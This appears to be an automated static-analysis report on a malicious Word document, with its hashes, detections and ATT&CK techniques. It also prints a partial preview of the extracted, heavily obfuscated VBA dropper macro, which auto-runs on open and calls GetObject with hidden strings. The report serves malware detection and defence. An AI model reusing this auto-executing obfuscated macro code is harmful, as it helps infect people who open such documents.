Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ecb339849b1ef92…

MALICIOUS

Office (OLE)

168.9 KB Created: 2019-03-29 22:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 653fafe3dc9b1fe7752c9c3663389290 SHA-1: afa4ab253227b2ca5acd2055891e48b7b9893285 SHA-256: 4ecb339849b1ef92965c56b255fe8d1cc2a207d921a353fd7251557bbe805c5a
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The presence of GetObject calls within the VBA code suggests an attempt to interact with or manipulate other objects, often used to download and execute further stages. While the VBA code is heavily obfuscated, the heuristic firings strongly indicate a macro-based malware dropper.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6916334-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6916334-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25204 bytes
SHA-256: 16484cd0e0514256fd0294e697ed4ee7821cfc5fe20e2a4a4a3c3cd23f3726e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UAAAAAc4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bBxDwA"
Attribute VB_Base = "0{E914DF61-7785-4B0D-96BC-0477C69A6681}{3D913983-809C-4E29-8656-04B0DB52AB45}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "OAAQBD"
Attribute VB_Base = "0{7948F6C6-DB04-426C-83BC-D1A33ACDF2F0}{8FB733EE-1113-4C42-97CD-3564E688E30E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "N4AQcDAA"
Function FA4xZ4A()
   If pDDA4CQD = zAAAAAA4 Then
iGD_Q_DD _
= NDAQA1 - 114842692 - 61096362 + _
CVar(644870992 - Atn(SUQAUD / WZXAAk _
+ jAkBUA / Tan(725942986))) * (524341939 + Hex(871916286 _
/ Cos(ikAxCQ)))
End If
   If cUAABAw = EU4XAQAZ Then
HZQUQ4AA _
= qkAwwX - 276739530 - 204135366 + _
CVar(188133601 - Atn(Rk4_1DDB / v_xAkx1 _
+ iDBQxC / Tan(970401643))) * (380639213 + Hex(972593786 _
/ Cos(XAUQAD)))
End If
   If vAA1G41 = H1k4GA Then
M1_wAD _
= F_wAA4QA - 967557409 - 234227169 + _
CVar(892033425 - Atn(s_BU__4Q / GDAAUoXA _
+ VBkD1AQ / Tan(523270987))) * (375085540 + Hex(638028278 _
/ Cos(a1DAAZ1)))
End If
End Function
Function XZkAAA()
   If koDAw1G = MQG_A1AG Then
NwAAAQUA _
= vZxAA4 - 539137332 - 465766583 + _
CVar(388573731 - Atn(RXUAAUQX / NAADAAQw _
+ sAUAAZx / Tan(193876194))) * (444842445 + Hex(748883208 _
/ Cos(cCAxAA)))
End If
   If QQ41AC = fBoAAo1C Then
tcAAAU _
= XAQAUoUA - 283879286 - 72031788 + _
CVar(732899468 - Atn(SBBGAo4Q / j1oDAAco _
+ r_GDQAx / Tan(37084997))) * (367771606 + Hex(611979305 _
/ Cos(N_QAAG)))
End If
   If NXAQAZX = JX4GADUU Then
UA4GGA1U _
= wAXk4A - 867529110 - 749943040 + _
CVar(83880302 - Atn(awAAQAU / oXQwGGAQ _
+ mDAACA / Tan(8768757))) * (465862275 + Hex(58654324 _
/ Cos(i1BQoGA)))
End If
End Function
Sub autoopen()
tQUZAAA
End Sub
Function tQUZAAA()
On Error Resume Next
   If tAABXAo = YAw4AAxD Then
kBBcZX _
= OAAAA4 - 254310608 - 131005153 + _
CVar(37407189 - Atn(j1AAAA4A / q4AAAAQ _
+ wUGA4A / Tan(25614345))) * (40186652 + Hex(824209940 _
/ Cos(Q1AUUA_)))
End If
   If aGUkQAA_ = NAcGBADU Then
iCAAAw_A _
= JAoQxxZA - 398065711 - 865734800 + _
CVar(343202274 - Atn(roQAUBAX / bXBD11QG _
+ MZAA_A / Tan(838436239))) * (824130290 + Hex(917436279 _
/ Cos(WQA_Q1)))
End If
Set Cw1BkAA = GetObject(bBxDwA.hADBA4U4.Text + OAAQBD.fxQowx + bBxDwA.hADBA4U4.ControlSource)
   If mD1oDA = QQUD_A Then
TQZBDBAA _
= AAQZAAo4 - 691737438 - 978257458 + _
CVar(141146054 - Atn(MZwXDA / LGAADAAC _
+ zADAABA / Tan(512600955))) * (338249543 + Hex(226211349 _
/ Cos(GUAAADB)))
End If
   If WAAAXGU_ = wBAUBCA Then
UAQcQUZ _
= IAAQCAAQ - 250069563 - 791726465 + _
CVar(959726620 - Atn(JACDADX / jAAQAAA _
+ jUA1DZA / Tan(610114687))) * (941508080 + Hex(648143031 _
/ Cos(zwAABAA_)))
End If
If 787967 = 787967 Then
   If jAo_wBBA = mAkAUAQ Then
mDDC4Q _
= YAU_AU - 890257376 - 41038360 + _
CVar(520124471 - Atn(KBAGBAXU / V1c_UZ_ _
+ OAAADcBA / Tan(916735252))) * (335240874 + Hex(245595596 _
/ Cos(E4UA_GAA)))
End If
   If GABDZGAc = jkDDAB Then
ckB_AA _
= FA44AQ - 340241561 - 384057461 + _
CVar(757076004 - Atn(NZADACA / wxAAwk_ _
+ hAA1ABwD / Tan(223524733))) * (458476485 + Hex(837041352 _
/ Cos(Rw1XGkxU)))
End If
   If OAQ4UXc = AUZoAD Then
vAoA__G _
= CAUAAADB - 701685195 - 82540661 + _
CVar(259879164 - Atn(hZGAwxx / v1QoAA _
+ zDQAkAAB / Tan(690404847))) * (779168367 + Hex(426269625 _
/ Cos(O4QZcDA)))
End If
Cw1BkAA.ShOwWiNdOw = bBxDwA.GGxAx4 + bBxDwA.GGxAx4 + bBxDwA.GGxAx4
   If U4XAAB = LQABAAQ Then
ZA_c_xw _
= BXAooAA - 533
... (truncated)